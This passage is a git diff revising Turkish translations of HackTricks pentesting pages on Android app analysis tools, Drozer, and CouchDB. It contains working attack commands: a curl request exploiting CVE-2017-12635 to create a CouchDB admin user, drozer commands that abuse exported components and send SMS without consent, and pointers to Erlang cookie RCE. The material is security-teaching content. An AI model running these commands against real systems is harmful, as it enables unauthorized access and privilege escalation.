+- **Dize Karşılaştırmalarını Yakalama**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** gösterecek ve sonucun True veya False olup olmadığını belirtecektir. +- **Sınıf Yöntemlerini Sayma**: Sınıf adını (örneğin "java.io.File") girin ve sınıfın tüm yöntemlerini yazdıracaktır. +- **Sınıf Deseni Arama**: Desene göre sınıfları arama +- **Sınıf Yöntemlerini İzleme**: **Tüm sınıfı izleme** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görme). Unutmayın ki varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler. -Kullanmak istediğiniz yardımcı modülü seçtikten sonra "**Start Intrumentation**" butonuna basmanız gerekir ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz. +Kullanmak istediğiniz yardımcı modülü seçtikten sonra "**Start Instrumentation**" butonuna basmanız gerekecek ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz. **Shell** -Mobsf ayrıca dinamik analiz sayfasının altında bazı **adb** komutları, **MobSF komutları** ve yaygın **shell** **komutları** ile bir shell sunar. Bazı ilginç komutlar: +MobSF ayrıca dinamik analiz sayfasının altında bazı **adb** komutları, **MobSF komutları** ve yaygın **shell** **komutları** ile bir shell sunar. Bazı ilginç komutlar: ```bash help shell ls @@ -570,13 +570,13 @@ receivers ``` **HTTP araçları** -HTTP trafiği yakalandığında, "**HTTP(S) Trafik**" altındaki yakalanan trafiğin çirkin bir görünümünü veya "**HTTP Araçlarını Başlat**" yeşil butonundaki daha güzel bir görünümünü görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxy'lere** **gönderebilirsiniz**.\ +HTTP trafiği yakalandığında, "**HTTP(S) Trafiği**" altında yakalanan trafiğin çirkin bir görünümünü veya "**HTTP Araçlarını Başlat**" yeşil butonunda daha güzel bir görünümünü görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxy'lere** **gönderebilirsiniz**.\ Bunu yapmak için, _Burp'ı açın -->_ _Intercept'i kapatın --> MobSB HTTP Araçları'nda isteği seçin_ --> "**Fuzzer'a Gönder**" butonuna basın --> _proxy adresini seçin_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). MobSF ile dinamik analizi tamamladıktan sonra, **http isteklerini fuzzlamak** ve güvenlik açıklarını aramak için "**Web API Fuzzer'ı Başlat**" butonuna basabilirsiniz. > [!NOTE] -> MobSF ile dinamik bir analiz gerçekleştirdikten sonra proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemezsiniz. Proxy ayarlarını düzeltmek için: +> MobSF ile dinamik analiz gerçekleştirdikten sonra proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemezsiniz. Proxy ayarlarını düzeltmek için: > > ``` > adb shell settings put global http_proxy :0 @@ -627,11 +627,11 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn, geliştiricilere, bugbounty avcılarına ve etik hackerlara mobil uygulamalar üzerinde [statik kod analizi](https://en.wikipedia.org/wiki/Static_program_analysis) yapmalarında yardımcı olan **çapraz platform** bir araçtır. +StaCoAn, geliştiricilere, bugbounty avcılarına ve etik hackerlara mobil uygulamalar üzerinde [statik kod analizi](https://en.wikipedia.org/wiki/Static_program_analysis) yapmalarında yardımcı olan **çoklu platform** bir araçtır. Kavram, mobil uygulama dosyanızı (bir .apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bırakmanız ve bunun için size görsel ve taşınabilir bir rapor oluşturmasıdır. Özelleştirilmiş bir deneyim elde etmek için ayarları ve kelime listelerini değiştirebilirsiniz. -İndir[ en son sürüm](https://github.com/vincentcox/StaCoAn/releases): +[En son sürümü](https://github.com/vincentcox/StaCoAn/releases) indirin: ``` ./stacoan ``` @@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA**, **Mobil Uygulama** **Tersine Mühendislik** ve **Analiz** Çerçevesidir. Bu, mobil uygulamaları OWASP mobil güvenlik tehditlerine karşı test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama tersine mühendislik ve analiz araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve daha dostane hale getirmektir. +**MARA**, **M**obil **A**pp Uygulaması **R**everse engineering ve **A**naliz Çerçevesidir. Bu, mobil uygulamaları OWASP mobil güvenlik tehditlerine karşı test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama tersine mühendislik ve analiz araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve daha dostane hale getirmektir. Şunları yapabilir: @@ -666,7 +666,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 - Regex kullanarak APK'dan özel bilgileri çıkarmak. - Manifest'i analiz etmek. - Bulunan alan adlarını analiz etmek için: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ve [whatweb](https://github.com/urbanadventurer/WhatWeb) -- APK'yı [apk-deguard.com](http://www.apk-deguard.com) üzerinden deşifre etmek. +- APK'yi [apk-deguard.com](http://www.apk-deguard.com) üzerinden deşifre etmek ### Koodous @@ -678,7 +678,7 @@ Kodu obfuscate etmek için kullandığınız hizmet ve yapılandırmaya bağlı ### [ProGuard]() -[Wikipedia'dan](): **ProGuard**, Java kodunu küçülten, optimize eden ve obfuscate eden açık kaynaklı bir komut satırı aracıdır. Bytecode'u optimize etmenin yanı sıra kullanılmayan talimatları tespit edip kaldırabilir. ProGuard, ücretsiz bir yazılımdır ve GNU Genel Kamu Lisansı, sürüm 2 altında dağıtılmaktadır. +[Wikipedia'dan](): **ProGuard**, Java kodunu küçülten, optimize eden ve obfuscate eden açık kaynaklı bir komut satırı aracıdır. Bytecode'u optimize edebilmenin yanı sıra kullanılmayan talimatları tespit edip kaldırabilir. ProGuard, ücretsiz bir yazılımdır ve GNU Genel Kamu Lisansı, sürüm 2 altında dağıtılmaktadır. ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulama yayın modunda derlenirken çalışır. @@ -686,12 +686,12 @@ ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulama yayın APK'yı deşifre etmek için adım adım bir kılavuzu [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) adresinde bulabilirsiniz. -(Bu kılavuzdan) En son kontrol ettiğimizde, Dexguard çalışma modu şuydu: +(Bu kılavuzdan) Son kontrol ettiğimizde, Dexguard çalışma modu şuydu: - Bir kaynağı InputStream olarak yüklemek; -- Sonucu deşifre etmek için FilterInputStream'den türetilen bir sınıfa beslemek; +- Sonucu deşifre etmek için FilterInputStream'den türetilmiş bir sınıfa beslemek; - Bir tersine mühendislik uzmanının birkaç dakikasını boşa harcamak için gereksiz obfuscation yapmak; -- Deşifre edilmiş sonucu bir ZipInputStream'e beslemek ve bir DEX dosyası almak; +- Deşifre edilmiş sonucu bir ZipInputStream'e besleyerek bir DEX dosyası almak; - Son olarak, elde edilen DEX'i `loadDex` yöntemi kullanarak bir Kaynak olarak yüklemek. ### [DeGuard](http://apk-deguard.com) @@ -710,11 +710,11 @@ Bu, **genel bir android deobfuscator'dır.** Simplify, bir uygulamayı **sanalla ### [APKiD](https://github.com/rednaga/APKiD) -APKiD, **bir APK'nın nasıl yapıldığını** size bilgi verir. Birçok **derleyici**, **paketleyici**, **obfuscator** ve diğer garip şeyleri tanımlar. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir. +APKiD, **bir APK'nın nasıl yapıldığını** hakkında bilgi verir. Birçok **derleyici**, **paketleyici**, **obfuscator** ve diğer garip şeyleri tanımlar. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir. ### Manual -[Özel obfuscation'ı nasıl tersine mühendislik yapacağınızı öğrenmek için bu eğitimi okuyun](manual-deobfuscation.md) +[Özel obfuscation'ı nasıl tersine çevireceğinizi öğrenmek için bu eğitimi okuyun](manual-deobfuscation.md) ## Labs diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index 0010ae69a..4350c480b 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -2,16 +2,18 @@ {{#include ../../../banners/hacktricks-training.md}} + + ## Test edilecek APK'lar - [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabs'dan) - [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz) -**Bu eğitimin bazı bölümleri** [**Drozer belgeleri pdf'sinden**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)** alınmıştır.** +**Bu eğitimin bazı bölümleri** [**Drozer belgeleri pdf'inden**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)** alınmıştır.** ## Kurulum -Drozer Client'ı ana bilgisayarınıza kurun. [en son sürümlerden](https://github.com/mwrlabs/drozer/releases) indirin. +Drozer Client'ı ana bilgisayarınıza kurun. En son sürümü [buradan indirin](https://github.com/mwrlabs/drozer/releases). ```bash pip install drozer-2.4.4-py2-none-any.whl pip install twisted @@ -27,11 +29,11 @@ Agent 31415 portunda çalışıyor, Drozer Client ve Agent arasında iletişimi ```bash adb forward tcp:31415 tcp:31415 ``` -Son olarak, **uygulamayı** başlatın ve alt kısımdaki "**AÇIK**" butonuna basın. +Son olarak, **uygulamayı** başlatın ve alt kısımdaki "**AÇ**" butonuna basın. ![](<../../../images/image (459).png>) -Ve buna bağlanın: +Ve ona bağlanın: ```bash drozer console connect ``` @@ -39,22 +41,22 @@ drozer console connect | **Komutlar** | **Açıklama** | | --------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Help MODULE** | Seçilen modülün yardımını gösterir | +| **Help MODULE** | Seçilen modülün yardımını gösterir | | **list** | Mevcut oturumda çalıştırılabilen tüm drozer modüllerinin bir listesini gösterir. Bu, çalıştırmak için uygun izinlere sahip olmadığınız modülleri gizler. | | **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. | | **clean** | Drozer tarafından Android cihazda saklanan geçici dosyaları kaldırır. | -| **load** | Drozer komutlarını içeren bir dosyayı yükler ve bunları sırayla çalıştırır. | +| **load** | Drozer komutlarını içeren bir dosyayı yükler ve bunları sırayla yürütür. | | **module** | İnternetten ek drozer modüllerini bulur ve yükler. | -| **unset** | Drozer'in oluşturduğu herhangi bir Linux kabuğuna geçirdiği adlandırılmış bir değişkeni kaldırır. | +| **unset** | Drozer'in oluşturduğu herhangi bir Linux kabuğuna geçirdiği adlandırılmış bir değişkeni kaldırır. | | **set** | Drozer tarafından oluşturulan herhangi bir Linux kabuğuna çevresel değişken olarak geçirilecek bir değişkende bir değeri saklar. | | **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. | -| **run MODULE** | Bir drozer modülünü çalıştırır | -| **exploit** | Drozer, cihazda çalıştırmak için istismarlar oluşturabilir. `drozer exploit list` | -| **payload** | İstismarların bir yükü olması gerekir. `drozer payload list` | +| **run MODULE** | Bir drozer modülünü yürütür | +| **exploit** | Drozer, cihazda yürütmek için istismarlar oluşturabilir. `drozer exploit list` | +| **payload** | İstismarların bir yükü gereklidir. `drozer payload list` | ### Paket -Paketin **adını** adın bir kısmıyla filtreleyerek bulun: +**İsim** kısmını filtreleyerek paketin **adını** bulun: ```bash dz> run app.package.list -f sieve com.mwr.example.sieve @@ -83,7 +85,7 @@ Defines Permissions: ```bash run app.package.manifest jakhar.aseem.diva ``` -**Paketin saldırı yüzeyi:** +Paketin **saldırı yüzeyi**: ```bash dz> run app.package.attacksurface com.mwr.example.sieve Attack Surface: @@ -105,7 +107,7 @@ Bir dışa aktarılmış etkinlik bileşeninin “android:exported” değeri An ``` -**Dışa Aktarılan Aktiviteleri Listele**: +**Dışa aktarılan aktiviteleri listele**: ```bash dz> run app.activity.info -a com.mwr.example.sieve Package: com.mwr.example.sieve @@ -119,7 +121,7 @@ Belki bir etkinliği başlatabilir ve sizi başlatmaktan alıkoyması gereken bi ```bash dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList ``` -Ayrıca **adb** üzerinden bir dışa aktarılan etkinliği başlatabilirsiniz: +**adb** ile dışa aktarılmış bir etkinliği de başlatabilirsiniz: - Paket Adı com.example.demo - Dışa Aktarılan Etkinlik Adı com.example.test.MainActivity @@ -136,7 +138,7 @@ Dışa aktarılan bir hizmet, Manifest.xml içinde tanımlanır: ```html ``` -Kodun içinde **check** için \*\*`handleMessage`\*\* fonksiyonunu kontrol edin, bu fonksiyon **message** alacaktır: +Kodun içinde **check** için **`handleMessage`** fonksiyonunu **alacak** olan **message**'ı kontrol edin: ![](<../../../images/image (82).png>) @@ -175,13 +177,13 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m ``` ![](<../../../images/image (647).png>) -### Broadcast Receivers +### Broadcast Alıcıları -**Android temel bilgi bölümünde Broadcast Receiver'ın ne olduğunu görebilirsiniz**. +**Android temel bilgi bölümünde Broadcast Alıcısının ne olduğunu görebilirsiniz**. -Bu Broadcast Receiver'ları keşfettikten sonra **kodlarını kontrol etmelisiniz**. Alınan mesajları işleyen **`onReceive`** fonksiyonuna özel dikkat gösterin. +Bu Broadcast Alıcılarını keşfettikten sonra, **kodlarını kontrol etmelisiniz**. Alınan mesajları işleyen **`onReceive`** fonksiyonuna özel dikkat gösterin. -#### **Tüm** broadcast receiver'ları tespit et +#### **Tüm** broadcast alıcılarını tespit et ```bash run app.broadcast.info #Detects all ``` @@ -214,7 +216,7 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu ``` #### Mesaj Gönder -Bu örnekte [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) İçerik Sağlayıcısını kötüye kullanarak, kullanıcıdan izin istemeden **herhangi bir premium olmayan hedefe** **rastgele bir SMS** gönderebilirsiniz. +Bu örnekte [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) İçerik Sağlayıcısını kötüye kullanarak, kullanıcıdan izin istemeden **herhangi bir premium olmayan hedefe rastgele bir SMS** gönderebilirsiniz. ![](<../../../images/image (415).png>) @@ -227,7 +229,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo ### Debuggable mı Bir üretim APK'sı asla debuggable olmamalıdır.\ -Bu, çalışmakta olan uygulamaya **java debugger** ekleyebileceğiniz, çalışma zamanında inceleyebileceğiniz, kesme noktaları ayarlayabileceğiniz, adım adım ilerleyebileceğiniz, değişken değerlerini toplayabileceğiniz ve hatta bunları değiştirebileceğiniz anlamına gelir. [InfoSec institute'un harika bir makalesi var](../exploiting-a-debuggeable-applciation.md) uygulamanız debuggable olduğunda daha derinlemesine incelemek ve çalışma zamanı kodu enjekte etmek için. +Bu, çalışmakta olan uygulamaya **java debugger** ekleyebileceğiniz, çalışma zamanında inceleyebileceğiniz, kesme noktaları ayarlayabileceğiniz, adım adım ilerleyebileceğiniz, değişken değerlerini toplayabileceğiniz ve hatta bunları değiştirebileceğiniz anlamına gelir. [InfoSec institute'un harika bir makalesi](../exploiting-a-debuggeable-applciation.md) var, uygulamanız debuggable olduğunda daha derinlemesine incelemek ve çalışma zamanı kodu enjekte etmek için. Bir uygulama debuggable olduğunda, Manifest'te görünecektir: ```xml diff --git a/src/network-services-pentesting/5984-pentesting-couchdb.md b/src/network-services-pentesting/5984-pentesting-couchdb.md index 5a6d9e59f..397b3e3c6 100644 --- a/src/network-services-pentesting/5984-pentesting-couchdb.md +++ b/src/network-services-pentesting/5984-pentesting-couchdb.md @@ -6,7 +6,7 @@ **CouchDB**, verileri her **belge** içinde bir **anahtar-değer haritası** yapısı kullanarak organize eden çok yönlü ve güçlü bir **belge odaklı veritabanıdır**. Belge içindeki alanlar, veri depolama ve alma esnekliği sağlayarak **anahtar/değer çiftleri, listeler veya haritalar** olarak temsil edilebilir. -CouchDB'de saklanan her **belge**, belge düzeyinde bir **benzersiz tanımlayıcı** (`_id`) ile atanır. Ayrıca, veritabanına yapılan ve kaydedilen her değişiklik bir **revizyon numarası** (`_rev`) ile atanır. Bu revizyon numarası, veritabanındaki verilerin kolayca alınmasını ve senkronize edilmesini sağlayarak **değişikliklerin etkili bir şekilde izlenmesini ve yönetilmesini** mümkün kılar. +CouchDB'de saklanan her **belge**, belge düzeyinde bir **benzersiz tanımlayıcı** (`_id`) ile atanır. Ayrıca, veritabanına yapılan ve kaydedilen her değişiklik, bir **revizyon numarası** (`_rev`) ile atanır. Bu revizyon numarası, değişikliklerin verimli bir şekilde **izlenmesi ve yönetilmesini** sağlar, veritabanı içindeki verilerin kolayca alınmasını ve senkronizasyonunu kolaylaştırır. **Varsayılan port:** 5984(http), 6984(https) ``` @@ -30,28 +30,28 @@ Bu, kurulu CouchDB örneğine bir GET isteği gönderir. Yanıt aşağıdakilerd {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}} ``` > [!NOTE] -> CouchDB'nin köküne erişim sağlarsanız `401 Unauthorized` hatası alırsanız, bu gibi bir mesajla: `{"error":"unauthorized","reason":"Authentication required."}` **banner'a veya başka bir uç noktaya erişim sağlayamazsınız.** +> CouchDB'nin köküne erişmeye çalıştığınızda `401 Unauthorized` gibi bir yanıt alırsanız: `{"error":"unauthorized","reason":"Authentication required."}` **banner'a veya başka bir uç noktaya erişemezsiniz.** ### Bilgi Sayımı -Aşağıdaki uç noktalar, **GET** isteği ile erişebileceğiniz ve bazı ilginç bilgileri çıkarabileceğiniz yerlerdir. [**Daha fazla uç nokta ve daha ayrıntılı açıklamalar için couchdb belgelerine**](https://docs.couchdb.org/en/latest/api/index.html) bakabilirsiniz. +Aşağıdaki uç noktalar, **GET** isteği ile erişebileceğiniz ve bazı ilginç bilgileri çıkarabileceğiniz yerlerdir. [**Daha fazla uç nokta ve daha ayrıntılı açıklamaları couchdb belgelerinde bulabilirsiniz**](https://docs.couchdb.org/en/latest/api/index.html). - **`/_active_tasks`** Çalışan görevlerin listesi, görev türü, adı, durumu ve işlem kimliği dahil. -- **`/_all_dbs`** CouchDB örneğindeki tüm veritabanlarının listesini döner. -- \*\*`/_cluster_setup`\*\* Düğüm veya kümenin durumunu, küme kurulum sihirbazına göre döner. -- **`/_db_updates`** CouchDB örneğindeki tüm veritabanı olaylarının listesini döner. Bu uç noktayı kullanmak için `_global_changes` veritabanının varlığı gereklidir. +- **`/_all_dbs`** CouchDB örneğindeki tüm veritabanlarının listesini döndürür. +- **`/_cluster_setup`** Küme kurulum sihirbazına göre düğüm veya kümenin durumunu döndürür. +- **`/_db_updates`** CouchDB örneğindeki tüm veritabanı olaylarının listesini döndürür. Bu uç noktayı kullanmak için `_global_changes` veritabanının varlığı gereklidir. - **`/_membership`** Kümenin bir parçası olan düğümleri `cluster_nodes` olarak görüntüler. `all_nodes` alanı, bu düğümün bildiği tüm düğümleri, kümenin bir parçası olanlar da dahil olmak üzere gösterir. - **`/_scheduler/jobs`** Çoğaltma işlerinin listesi. Her iş tanımı, kaynak ve hedef bilgilerini, çoğaltma kimliğini, son olayların geçmişini ve birkaç diğer şeyi içerecektir. -- **`/_scheduler/docs`** Çoğaltma belge durumlarının listesi. `tamamlandı` ve `başarısız` durumlar dahil olmak üzere tüm belgeler hakkında bilgi içerir. Her belge için belge kimliğini, veritabanını, çoğaltma kimliğini, kaynak ve hedefi ve diğer bilgileri döner. +- **`/_scheduler/docs`** Çoğaltma belge durumlarının listesi. `tamamlandı` ve `başarısız` durumlar dahil olmak üzere tüm belgeler hakkında bilgi içerir. Her belge için belge kimliğini, veritabanını, çoğaltma kimliğini, kaynak ve hedefi ve diğer bilgileri döndürür. - **`/_scheduler/docs/{replicator_db}`** - **`/_scheduler/docs/{replicator_db}/{docid}`** - **`/_node/{node-name}`** `/_node/{node-name}` uç noktası, isteği işleyen sunucunun Erlang düğüm adını doğrulamak için kullanılabilir. Bu, `/_node/_local` erişirken bu bilgiyi almak için en faydalıdır. -- **`/_node/{node-name}/_stats`** `_stats` kaynağı, çalışan sunucu için istatistikleri içeren bir JSON nesnesi döner. `_local` literal dizesi, yerel düğüm adı için bir takma ad olarak hizmet eder, bu nedenle tüm istatistik URL'lerinde `{node-name}` `_local` ile değiştirilebilir, yerel düğümün istatistikleri ile etkileşimde bulunmak için. -- **`/_node/{node-name}/_system`** \_system kaynağı, çalışan sunucu için çeşitli sistem düzeyindeki istatistikleri içeren bir JSON nesnesi döner. Mevcut düğüm bilgilerini almak için `{node-name}` olarak `_local` kullanabilirsiniz. +- **`/_node/{node-name}/_stats`** `_stats` kaynağı, çalışan sunucu için istatistikleri içeren bir JSON nesnesi döndürür. `_local` kelimesi, yerel düğüm adı için bir takma ad olarak hizmet eder, bu nedenle tüm istatistik URL'lerinde `{node-name}` `_local` ile değiştirilebilir, yerel düğümün istatistikleriyle etkileşimde bulunmak için. +- **`/_node/{node-name}/_system`** \_system kaynağı, çalışan sunucu için çeşitli sistem düzeyindeki istatistikleri içeren bir JSON nesnesi döndürür. Mevcut düğüm bilgilerini almak için `{node-name}` olarak `'_local'` kullanabilirsiniz. - **`/_node/{node-name}/_restart`** -- **`/_up`** Sunucunun çalıştığını, çalıştığını ve isteklere yanıt vermeye hazır olduğunu doğrular. Eğer [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) `true` veya `nolb` ise, uç nokta 404 yanıtı dönecektir. -- \*\*`/_uuids`\*\* CouchDB örneğinden bir veya daha fazla Evrensel Benzersiz Tanımlayıcı (UUID) talep eder. -- \*\*`/_reshard`\*\* Tamamlanan, başarısız, çalışan, durdurulan ve toplam işlerin sayısını ve kümedeki yeniden parçalama durumunu döner. +- **`/_up`** Sunucunun çalıştığını, çalıştığını ve isteklere yanıt vermeye hazır olduğunu doğrular. Eğer [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) `true` veya `nolb` ise, uç nokta 404 yanıtı döndürecektir. +- **`/_uuids`** CouchDB örneğinden bir veya daha fazla Evrensel Benzersiz Tanımlayıcı (UUID) talep eder. +- **`/_reshard`** Tamamlanan, başarısız, çalışan, durdurulan ve toplam işlerin sayısını ve kümedeki yeniden parçalama durumunu döndürür. Daha ilginç bilgiler burada açıklandığı gibi çıkarılabilir: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB) @@ -63,15 +63,15 @@ Eğer bu istek **401 yetkisiz** ile yanıt verirse, veritabanına erişmek için ``` curl -X GET http://user:password@IP:5984/_all_dbs ``` -Geçerli Kimlik Bilgilerini bulmak için **şunu deneyebilirsiniz**: [**hizmeti bruteforce etmek**](../generic-hacking/brute-force.md#couchdb). +Geçerli Kimlik Bilgilerini bulmak için **şunu deneyebilirsiniz**: [**hizmeti brute force yapmak**](../generic-hacking/brute-force.md#couchdb). -Bu, **yeterli ayrıcalıklara** sahip olduğunuzda veritabanlarını listelemek için bir couchdb **yanıtı** örneğidir (Sadece bir db listesi): +Bu, **yeterli ayrıcalıklara** sahip olduğunuzda veritabanlarını listelemek için bir couchdb **yanıtı** örneğidir (Sadece bir veritabanı listesi): ```bash ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"] ``` -### Veritabanı Bilgisi +### Database Info -Veritabanı adını erişerek bazı veritabanı bilgilerini (dosya sayısı ve boyutları gibi) elde edebilirsiniz: +Veritabanı adını erişerek bazı veritabanı bilgilerini (dosya sayısı ve boyutları gibi) alabilirsiniz: ```bash curl http://IP:5984/ curl http://localhost:5984/simpsons @@ -106,7 +106,7 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9 ``` ## CouchDB Yetki Yükseltme [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635) -Erlang ve JavaScript JSON ayrıştırıcıları arasındaki farklar sayesinde, aşağıdaki isteği kullanarak `hacktricks:hacktricks` kimlik bilgileriyle **bir yönetici kullanıcı** oluşturabilirsiniz: +Erlang ve JavaScript JSON ayrıştırıcıları arasındaki farklar sayesinde aşağıdaki isteği kullanarak **bir yönetici kullanıcısı** oluşturabilirsiniz: ```bash curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json" ``` @@ -118,24 +118,24 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[] Örnek [buradan](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). -CouchDB belgelerinde, özellikle küme kurulumu ile ilgili bölümde ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), CouchDB'nin küme modunda port kullanımına değinilmektedir. Tekil modda olduğu gibi, port `5984`'ün kullanıldığı belirtilmiştir. Ayrıca, port `5986` düğüm yerel API'leri içindir ve önemli olarak, Erlang'ın Erlang Port Mapper Daemon (EPMD) için TCP port `4369`'a ihtiyaç duyduğu, bu sayede bir Erlang kümesi içinde düğüm iletişimini kolaylaştırdığı vurgulanmaktadır. Bu yapı, her düğümün diğer tüm düğümlerle bağlantılı olduğu bir ağ oluşturur. +CouchDB belgelerinde, özellikle küme kurulumu ile ilgili bölümde ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), CouchDB'nin küme modunda kullandığı portlar tartışılmaktadır. Tekil modda olduğu gibi, port `5984`'ün kullanıldığı belirtilmektedir. Ayrıca, port `5986` düğüm yerel API'leri içindir ve önemli olarak, Erlang'ın Erlang Port Mapper Daemon (EPMD) için TCP port `4369`'a ihtiyaç duyduğu, bu sayede bir Erlang kümesi içinde düğüm iletişimini kolaylaştırdığı vurgulanmaktadır. Bu yapı, her düğümün diğer tüm düğümlerle bağlantılı olduğu bir ağ oluşturur. -Port `4369` ile ilgili önemli bir güvenlik uyarısı vurgulanmaktadır. Eğer bu port, İnternet veya herhangi bir güvenilmeyen ağ üzerinden erişilebilir hale getirilirse, sistemin güvenliği "cookie" olarak bilinen benzersiz bir tanıtıcıya büyük ölçüde bağlıdır. Bu cookie bir koruma işlevi görür. Örneğin, belirli bir işlem listesinde "monster" adlı cookie gözlemlenebilir, bu da sistemin güvenlik çerçevesindeki operasyonel rolünü gösterir. +Port `4369` ile ilgili önemli bir güvenlik uyarısı vurgulanmaktadır. Eğer bu port İnternet veya herhangi bir güvenilmeyen ağ üzerinden erişilebilir hale getirilirse, sistemin güvenliği "cookie" olarak bilinen benzersiz bir tanıtıcıya büyük ölçüde bağlıdır. Bu cookie bir koruma işlevi görür. Örneğin, belirli bir işlem listesinde "monster" adlı cookie gözlemlenebilir, bu da sistemin güvenlik çerçevesindeki operasyonel rolünü gösterir. ``` www-data@canape:/$ ps aux | grep couchdb root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b ``` -Bu "cookie"nin Erlang sistemleri bağlamında Uzaktan Kod Çalıştırma (RCE) için nasıl istismar edilebileceğini anlamakla ilgilenenler için, daha fazla okuma için özel bir bölüm mevcuttur. Bu bölüm, sistemler üzerinde kontrol sağlamak için Erlang cookie'lerini yetkisiz bir şekilde kullanma metodolojilerini detaylandırmaktadır. [**Erlang cookie'lerini RCE için istismar etme üzerine detaylı kılavuzu buradan keşfedebilirsiniz**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce). +Bu "çerez"in Erlang sistemleri bağlamında Uzaktan Kod Çalıştırma (RCE) için nasıl istismar edilebileceğini anlamakla ilgilenenler için, daha fazla okuma için özel bir bölüm mevcuttur. Bu bölüm, sistemler üzerinde kontrol sağlamak için Erlang çerezlerinin yetkisiz bir şekilde nasıl kullanılacağına dair metodolojileri detaylandırmaktadır. [**Erlang çerezlerini RCE için istismar etme üzerine detaylı kılavuzu buradan keşfedebilirsiniz**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce). ### **local.ini'nin Değiştirilmesi ile CVE-2018-8007'nin İstismarı** Örnek [buradan](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). -Apache CouchDB'yi etkileyen ve yakın zamanda açıklanan CVE-2018-8007 zafiyeti incelendi ve istismar için `local.ini` dosyasına yazma izinlerinin gerektiği ortaya çıktı. Güvenlik kısıtlamaları nedeniyle başlangıçtaki hedef sisteme doğrudan uygulanamasa da, keşif amaçları için `local.ini` dosyasına yazma erişimi sağlamak üzere değişiklikler yapıldı. Aşağıda, süreci gösteren detaylı adımlar ve kod örnekleri sağlanmaktadır. +Apache CouchDB'yi etkileyen ve yakın zamanda açıklanan CVE-2018-8007 zafiyeti incelendi ve istismar için `local.ini` dosyasına yazma izinlerinin gerektiği ortaya çıktı. Güvenlik kısıtlamaları nedeniyle başlangıç hedef sistemine doğrudan uygulanamasa da, keşif amaçları için `local.ini` dosyasına yazma erişimi sağlamak üzere değişiklikler yapıldı. Aşağıda, süreci gösteren detaylı adımlar ve kod örnekleri sağlanmaktadır. -Öncelikle, `local.ini` dosyasının yazılabilir olduğundan emin olarak ortam hazırlanır ve izinler listelenerek doğrulanır: +Öncelikle, `local.ini` dosyasının yazılabilir olduğundan emin olarak ortam 